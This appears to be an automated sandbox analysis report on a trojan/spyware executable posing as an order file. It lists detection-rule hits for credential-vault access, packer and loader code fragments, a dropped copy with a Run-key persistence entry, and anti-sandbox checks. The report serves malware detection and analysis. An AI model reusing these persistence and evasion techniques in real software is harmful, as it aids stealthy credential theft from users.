Source: 25.2.spof.exe.12b1c7123e8.6.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.NEW_ORDER_12-18-23.exe.24a11f7b1d0.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 11.2.spof.exe.2225bb97db0.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 11.2.spof.exe.2225bb97db0.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 11.2.spof.exe.22249e11790.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 11.2.spof.exe.22249e4e2b8.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: 0.2.NEW_ORDER_12-18-23.exe.24a100f1b20.2.raw.unpack, IndexerModelWatcher.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.NEW_ORDER_12-18-23.exe.24a100f1b20.2.raw.unpack, IndexerModelWatcher.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.NEW_ORDER_12-18-23.exe.24a100f1b20.2.raw.unpack, IndexerModelWatcher.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.NEW_ORDER_12-18-23.exe.24a11f7b1d0.6.raw.unpack, 9b2qdB.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.NEW_ORDER_12-18-23.exe.24a11f7b1d0.6.raw.unpack, 9b2qdB.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.NEW_ORDER_12-18-23.exe.24a11f7b1d0.6.raw.unpack, XgEuq.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.NEW_ORDER_12-18-23.exe.24a11f7b1d0.6.raw.unpack, XgEuq.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.NEW_ORDER_12-18-23.exe.24a11f7b1d0.6.raw.unpack, XgEuq.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.NEW_ORDER_12-18-23.exe.24a11f7b1d0.6.raw.unpack, XgEuq.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@63/4@0/1

Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe

File created: C:\Users\user\AppData\Roaming\spof.exe

Jump to behavior

Source: NEW_ORDER_12-18-23.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: NEW_ORDER_12-18-23.exe	Static file information: TRID: Win64 Executable GUI Net Framework (217006/5) 47.53%
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\b8493bec853ac702d2188091d76ccffa\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\b8493bec853ac702d2188091d76ccffa\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\b8493bec853ac702d2188091d76ccffa\mscorlib.ni.dll	Jump to behavior

Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: NEW_ORDER_12-18-23.exe	Virustotal: Detection: 34%
Source: NEW_ORDER_12-18-23.exe	ReversingLabs: Detection: 27%

Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe

File read: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe

Jump to behavior

Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: NEW_ORDER_12-18-23.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: NEW_ORDER_12-18-23.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: protobuf-net.pdbSHA256}Lq source: NEW_ORDER_12-18-23.exe, 00000000.00000002.1753819644.0000024A7C890000.00000004.08000000.00040000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1750794274.0000024A11DF6000.00000004.00000800.00020000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1749827601.0000024A00158000.00000004.00000800.00020000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1750794274.0000024A11EAB000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1903558795.000002225BA4F000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1903558795.000002225BAC8000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1901609525.0000022249D49000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1965677845.0000012B0A8E6000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1968348865.0000012B1C658000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: NEW_ORDER_12-18-23.exe, 00000000.00000002.1753819644.0000024A7C890000.00000004.08000000.00040000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1750794274.0000024A11DF6000.00000004.00000800.00020000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1749827601.0000024A00158000.00000004.00000800.00020000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1750794274.0000024A11EAB000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1903558795.000002225BA4F000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1903558795.000002225BAC8000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1901609525.0000022249D49000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1965677845.0000012B0A8E6000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1968348865.0000012B1C658000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 0.2.NEW_ORDER_12-18-23.exe.24a100f1b20.2.raw.unpack, IndexerModelWatcher.cs

.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

.NET source code contains potential unpacker

Source: NEW_ORDER_12-18-23.exe, --.cs	.Net Code: _0003 System.Reflection.Assembly.Load(byte[])
Source: spof.exe.0.dr, --.cs	.Net Code: _0003 System.Reflection.Assembly.Load(byte[])
Source: 0.2.NEW_ORDER_12-18-23.exe.24a7c890000.11.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 0.2.NEW_ORDER_12-18-23.exe.24a7c890000.11.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 0.2.NEW_ORDER_12-18-23.exe.24a7c890000.11.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 0.2.NEW_ORDER_12-18-23.exe.24a7c890000.11.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 0.2.NEW_ORDER_12-18-23.exe.24a7c890000.11.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull
Source: 0.2.NEW_ORDER_12-18-23.exe.24a11eabbf0.4.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 0.2.NEW_ORDER_12-18-23.exe.24a11eabbf0.4.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 0.2.NEW_ORDER_12-18-23.exe.24a11eabbf0.4.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 0.2.NEW_ORDER_12-18-23.exe.24a11eabbf0.4.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 0.2.NEW_ORDER_12-18-23.exe.24a11eabbf0.4.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull

Yara detected Costura Assembly Loader

Source: Yara match	File source: 25.2.spof.exe.12b1c5a2b28.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.spof.exe.2225b9c2ab8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.spof.exe.12b1c52aab8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.spof.exe.2225b99aa80.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.spof.exe.12b1c52aab8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.spof.exe.22249e11790.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.spof.exe.12b0a9a7ab0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NEW_ORDER_12-18-23.exe.24a7c850000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NEW_ORDER_12-18-23.exe.24a00219f98.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NEW_ORDER_12-18-23.exe.24a00219f98.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NEW_ORDER_12-18-23.exe.24a11df6748.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.spof.exe.2225ba12af0.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.spof.exe.12b1c552af0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.spof.exe.12b0a9a7ab0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.spof.exe.2225b99aa80.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NEW_ORDER_12-18-23.exe.24a100c5e90.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NEW_ORDER_12-18-23.exe.24a11da6710.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.spof.exe.22249e11790.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000002.1968348865.0000012B1C5A2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1903558795.000002225BA12000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.1968348865.0000012B1C552000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1750794274.0000024A11CFA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.1968348865.0000012B1C44A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.1965677845.0000012B0A8E6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1753742623.0000024A7C850000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1750794274.0000024A10091000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1750794274.0000024A11DF6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1903558795.000002225B8BA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1749827601.0000024A00158000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1901609525.0000022249D49000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: NEW_ORDER_12-18-23.exe PID: 7272, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: spof.exe PID: 7500, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: spof.exe PID: 7948, type: MEMORYSTR

Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Code function: 0_2_00007FFD9B878F2D push edi; retf	0_2_00007FFD9B878F30
Source: C:\Users\user\AppData\Roaming\spof.exe	Code function: 11_2_00007FFD9BAB8F2D push edi; retf	11_2_00007FFD9BAB8F30
Source: C:\Users\user\AppData\Roaming\spof.exe	Code function: 25_2_00007FFD9BAA8F2D push edi; retf	25_2_00007FFD9BAA8F30

Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe

File created: C:\Users\user\AppData\Roaming\spof.exe

Jump to dropped file

Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run spof			Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run spof			Jump to behavior

Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: NEW_ORDER_12-18-23.exe, 00000000.00000002.1749827601.0000024A00158000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1901609525.0000022249D49000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1965677845.0000012B0A8E6000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL0SELECT * FROM WIN32_BIOS8UNEXPECTED WMI QUERY FAILURE

Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe TID: 7312	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe TID: 7296	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe TID: 7584	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe TID: 7536	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
